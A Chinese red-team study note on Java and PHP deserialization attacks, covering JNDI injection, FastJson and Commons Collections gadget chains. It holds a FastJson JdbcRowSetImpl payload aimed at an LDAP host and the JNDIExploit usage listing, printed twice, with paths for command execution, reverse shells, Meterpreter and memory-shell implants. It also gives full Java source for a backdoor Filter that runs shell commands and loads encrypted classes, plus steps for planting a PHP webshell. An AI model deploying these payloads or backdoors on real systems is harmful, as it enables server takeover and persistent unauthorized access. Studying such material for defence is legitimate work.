红队专题-漏洞挖掘-代码审计-反序列化
漏洞挖掘-代码审计-反序列化
- 加固/防御
- 命令执行相关日志
- Tools-JNDIExploit
- JNDI Java Naming and Directory Interface Java命名目录接口注入
- 原理
- payload
- 参数
- 渗透测试-php命令执行-RCE+Struts2拿webshell
- 普通权限 命令执行 拿 webshell
- CMD echo 写入一句话 php文件
- 菜刀连接
- Struts2 拿 webshell
- 基于JAVA
- 方式与接口介绍
- TransformedMap
- Transformer
- ConstantTransformer
- InvokerTransformer
- ChainedTransformer
- Constructor.newInstance
- URLDNS链
- CB链
- CommonsCollections反序列化
- CC1 CommonsCollections 1
- lazymap链
- CC2
- CC3
- CC4
- CC5
- CC6
- CC7
- 测试demo
- PHP
- pop链构造(POP Chain)
- PHP的魔术方法(Magic Method)和对象自动加载机制
- FastJson反序列化漏洞
- 原理:
- 流量分析
- 无回显怎么办:
- 白帽子修炼漏洞进阶篇
- Fastjson
- apache-FastJsonBcel类+动态类加载(不出网)
- FastJson<=1.2.47绕过:
- FastJson1.2.25-1.2.41绕过
- FastJson1.2.42绕过
- FastJson1.4.43绕过
- fastjson反序列化 parseObject
- 序列化
- **反序列化**
- Payload
- **漏洞修复**
- 防御
加固/防御
命令执行相关日志
访问日志:Web 服务器或应用服务器上的访问日志中可能包含恶意代码执行的信息,
例如请求 URL、HTTP 请求方法、HTTP 状态码等。异常日志:应用程序中的异常日志可以记录可能存在的恶意代码执行异常信息,例如异常类型、异常堆栈等。安全审计日志:如果使用了安全审计工具,可以记录恶意代码执行的详细信息,例如恶意代码的来源、执行时间、执行结果等。
Tools-JNDIExploit
JNDI Java Naming and Directory Interface Java命名目录接口注入
原理
Java 提供的标准命名和目录服务接口,提供了统一的可以访问各种命名目录服务(如:LDAP、RMI 等)的方式。JNDI 注入,就是利用应用程序中的 JNDI 服务,将恶意代码注入到应用程序中。比如著名的 Log4J 漏洞,其根本原理就是 LDAP 服务中存储外部恶意资源,
JNDI 去访问 LDAP 时被 LDAP 外部恶意代码注入。
JNDI(Java Naming and Directory Interface)是Java平台提供的一种标准API,用于通过名称查找和访问各种命名和目录服务。它提供了一种可移植的方式,使得Java应用程序能够在运行时动态地获取与特定名称关联的对象或资源。JNDI主要用于解决以下问题:1. 统一访问:JNDI提供了一个统一的接口,使得开发者可以以统一的方式访问不同的命名和目录服务,如LDAP(轻量级目录访问协议)、DNS(域名系统)、RMI(远程方法调用)等。2. 配置和管理:JNDI允许开发者在配置文件或程序中指定对象的名称和绑定值,并提供了灵活的API来管理和维护这些名称和绑定值之间的映射关系。3. 分布式计算:JNDI支持在分布式环境中查找和访问远程对象,使得应用程序能够透明地使用远程资源,从而实现分布式计算。4. 可扩展性:JNDI的设计考虑到了可扩展性,允许开发者自定义和集成新的命名和目录服务提供者,以满足特定的需求。JNDI是Java平台的一部分,因此不是一个单独的开源项目。Java平台本身是开源的,而JNDI作为Java核心库的一部分,其实现代码也是开源的。开发者可以在Java Development Kit(JDK)中找到JNDI的实现源代码,并且可以根据Java的开源许可证(GNU General Public License等)自由使用、修改和分发这些源代码。此外,JNDI的实现也可以受到特定供应商的专有实现和扩展,但这并不影响JNDI本身的开源性质。
payload
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap:/x.x.x.x",
"autoCommit":"true"
}
}
参数
https://github.com/WhiteHSBG/JNDIExploit
G:\Hackaming\EXP\Java_EXP\JNDIExploit.v1.4\JNDIExploit1.4https://github.com/0x727/JNDIExploit
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 101.43.159.27 -l 1389 -p 3456使用说明
使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数Usage: java -jar JNDIExploit.jar [options]Options:* -i, --ip Local ip address-l, --ldapPort Ldap bind port (default: 1389)-p, --httpPort Http bind port (default: 8080)-u, --usage Show usage (default: false)-h, --help Show this help
使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Basic/Dnslog/[domain]ldap://0.0.0.0:1389/Basic/Command/[cmd]ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Basic/TomcatEcholdap://0.0.0.0:1389/Basic/SpringEcholdap://0.0.0.0:1389/Basic/WeblogicEcholdap://0.0.0.0:1389/Basic/TomcatMemshell1ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/Basic/JettyMemshellldap://0.0.0.0:1389/Basic/WeblogicMemshell1ldap://0.0.0.0:1389/Basic/WeblogicMemshell2ldap://0.0.0.0:1389/Basic/JBossMemshellldap://0.0.0.0:1389/Basic/WebsphereMemshellldap://0.0.0.0:1389/Basic/SpringMemshell[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcholdap://0.0.0.0:1389/Deserialization/C3P0/SpringEcholdap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcholdap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshellldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells[+] TomcatBypass Queriesldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/TomcatBypass/TomcatEcholdap://0.0.0.0:1389/TomcatBypass/SpringEcholdap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/TomcatBypass/SpringMemshellldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp[+] GroovyBypass Queriesldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd][+] WebsphereBypass Queriesldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshellldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
目前支持的所有 PayloadType 为
Dnslog: 用于产生一个DNS请求,与 DNSLog平台配合使用,对Linux/Windows进行了简单的适配
Command: 用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输
ReverseShell: 用于 Linux 系统的反弹shell,方便使用
TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
TomcatMemshell1: 用于植入Tomcat内存shell, 支持Behinder shell 与 Basic cmd shell
TomcatMemshell2: 用于植入Tomcat内存shell, 支持Behinder shell 与 Basic cmd shell, 使用时需要添加额外的HTTP Header Shell: true, 推荐使用此方式
SpringMemshell: 用于植入Spring内存shell, 支持Behinder shell 与 Basic cmd shell
WeblogicMemshell1: 用于植入Weblogic内存shell, 支持Behinder shell 与 Basic cmd shell
WeblogicMemshell2: 用于植入Weblogic内存shell, 支持Behinder shell 与 Basic cmd shell,推荐使用此方式
JettyMemshell: 用于植入Jetty内存shell, 支持Behinder shell 与 Basic cmd shell
JBossMemshell: 用于植入JBoss内存shell, 支持Behinder shell 与 Basic cmd shell
WebsphereMemshell: 用于植入Websphere内存shell, 支持Behinder shell 与 Basic cmd shell
目前支持的所有 GadgetType 为
URLDNS
CommonsBeanutils1
CommonsBeanutils2
CommonsCollectionsK1
CommonsCollectionsK2
C3P0
Jdk7u21
Jre8u20
CVE_2020_2551
CVE_2020_2883
WebsphereBypass 中的 3 个动作:
list:基于XXE查看目标服务器上的目录或文件内容
upload:基于XXE的jar协议将恶意jar包上传至目标服务器的临时目录
rce:加载已上传至目标服务器临时目录的jar包,从而达到远程代码执行的效果(这一步本地未复现成功,抛java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.异常,有复现成功的小伙伴麻烦指导下)
内存shell说明
采用动态添加 Filter/Controller的方式,并将添加的Filter移动至FilterChain的第一位
内存shell 的兼容性测试结果请参考 memshell 项目
Basic cmd shell 的访问方式为 /anything?type=basic&pass=[cmd]
TomcatMemshell1和TomcatMemshell2 的访问方式需要修改冰蝎客户端(请参考 冰蝎改造之适配基于tomcat Filter的无文件webshell 的方式二自行修改),并在访问时需要添加 X-Options-Ai 头部,密码为rebeyond
内存shell说明2
TomcatMemshell3 可直接使用冰蝎3客户端连接 推荐使用此payload
GodzillaMemshell 可直接使用哥斯拉客户端连接 推荐使用此payload
TomcatMemshell1和TomcatMemshell2植入的 Filter 代码如下:public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("[+] Dynamic Filter says hello");String k;Cipher cipher;if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {k = servletRequest.getParameter("pass");if (k != null && !k.isEmpty()) {cipher = null;String[] cmds;if (File.separator.equals("/")) {cmds = new String[]{"/bin/sh", "-c", k};} else {cmds = new String[]{"cmd", "/C", k};}String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();servletResponse.getWriter().println(result);}} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {try {if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {k = "e45e329feb5d925b";((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);cipher = Cipher.getInstance("AES");cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());Object evilObject = evilClass.newInstance();Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);targetMethod.invoke(evilObject, servletRequest, servletResponse);}} catch (Exception var10) {var10.printStackTrace();}} else {filterChain.doFilter(servletRequest, servletResponse);}}
参考
https://github.com/veracode-research/rogue-jndi
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Bypassjava -jar JNDIExploit.jar -uSupported LADP Queries:
* all words are case INSENSITIVE when send to ldap server[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Basic/Dnslog/[domain]ldap://0.0.0.0:1389/Basic/Command/[cmd]ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Basic/TomcatEcholdap://0.0.0.0:1389/Basic/SpringEcholdap://0.0.0.0:1389/Basic/WeblogicEcholdap://0.0.0.0:1389/Basic/TomcatMemshell1ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/Basic/JettyMemshellldap://0.0.0.0:1389/Basic/WeblogicMemshell1ldap://0.0.0.0:1389/Basic/WeblogicMemshell2ldap://0.0.0.0:1389/Basic/JBossMemshellldap://0.0.0.0:1389/Basic/WebsphereMemshellldap://0.0.0.0:1389/Basic/SpringMemshell[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcholdap://0.0.0.0:1389/Deserialization/C3P0/SpringEcholdap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcholdap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshellldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells[+] TomcatBypass Queriesldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/TomcatBypass/TomcatEcholdap://0.0.0.0:1389/TomcatBypass/SpringEcholdap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/TomcatBypass/SpringMemshellldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp[+] GroovyBypass Queriesldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd][+] WebsphereBypass Queriesldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshellldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
渗透测试-php命令执行-RCE+Struts2拿webshell
原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
Cracer网络渗透全部教程
普通权限 命令执行 拿 webshell
CMD echo 写入一句话 php文件
同级目录写入文件
菜刀连接
Struts2 拿 webshell
基于JAVA
Java反序列化漏洞
指恶意用户通过发送精心构造的序列化数据并触发其反序列化过程,从而执行未经授权的代码或操作。
攻击者可以利用此漏洞来执行远程命令、绕过应用程序的安全检查、窃取敏感信息等攻击。
如果Java应用对用户输入(即不可信数据)做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行
。
方式与接口介绍
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,
被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}这里它的构造方法为protected类型,
创建对象需要通过TransformedMap.decorate()来获得一个TransformedMap实例示例::::::::::::::::::::::::::::::::::::::::::::::
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
::::::::::::::::::::::::::::::::::::::::::::::::
通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map同时 可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例keyTransformer是 处理新元素Key的回调
valueTransformer是处理新元素value的回调
这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类 在TransformedMap类中有三个方法,它会执行传入的参数的transform()方法
Transformer
是一个接口,它只有一个待实现的方法public interface Transformer {public Object transform(Object input);
}TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个 回调函数 ,这个回调的参数是原始对象。
ConstantTransformer
函数是实现transformer接口的一个类,
在该函数里面有一个构造函数,会传入我们的Object